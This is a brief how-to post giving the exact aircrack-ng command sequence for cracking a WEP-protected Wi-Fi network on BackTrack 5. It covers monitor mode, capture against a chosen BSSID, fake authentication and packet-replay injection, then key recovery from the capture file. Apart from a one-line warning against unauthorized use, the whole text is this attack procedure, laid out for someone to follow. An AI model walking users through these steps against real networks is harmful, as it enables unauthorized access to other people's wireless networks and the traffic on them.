HOWTO : WEP cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]

Step 2 :

airmon-ng start wlan0

Step 3 :

airodump-ng mon0

Press "Ctrl+c" to break the program.

Step 4 :

airodump-ng -c 6 -w wepcrack --bssid 99:88:77:66:55:44 mon0

*where -c is the channel
            -w is the file to be written
            --bssid is the BSSID

Step 5 :

open another terminal.

aireplay-ng -1 0 -a 99:88:77:66:55:44 mon0

*where -a is BSSID

The terminal is keeping running.

Step 6 :

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b 99:88:77:66:55:44 mon0

*where -c is client's MAC address (STATION)
            -b is BSSID

When asking "Use this packet?", answer "y".

Step 7 :

open another terminal.

aircrack-ng wepcrack*.cap

That's all! See you.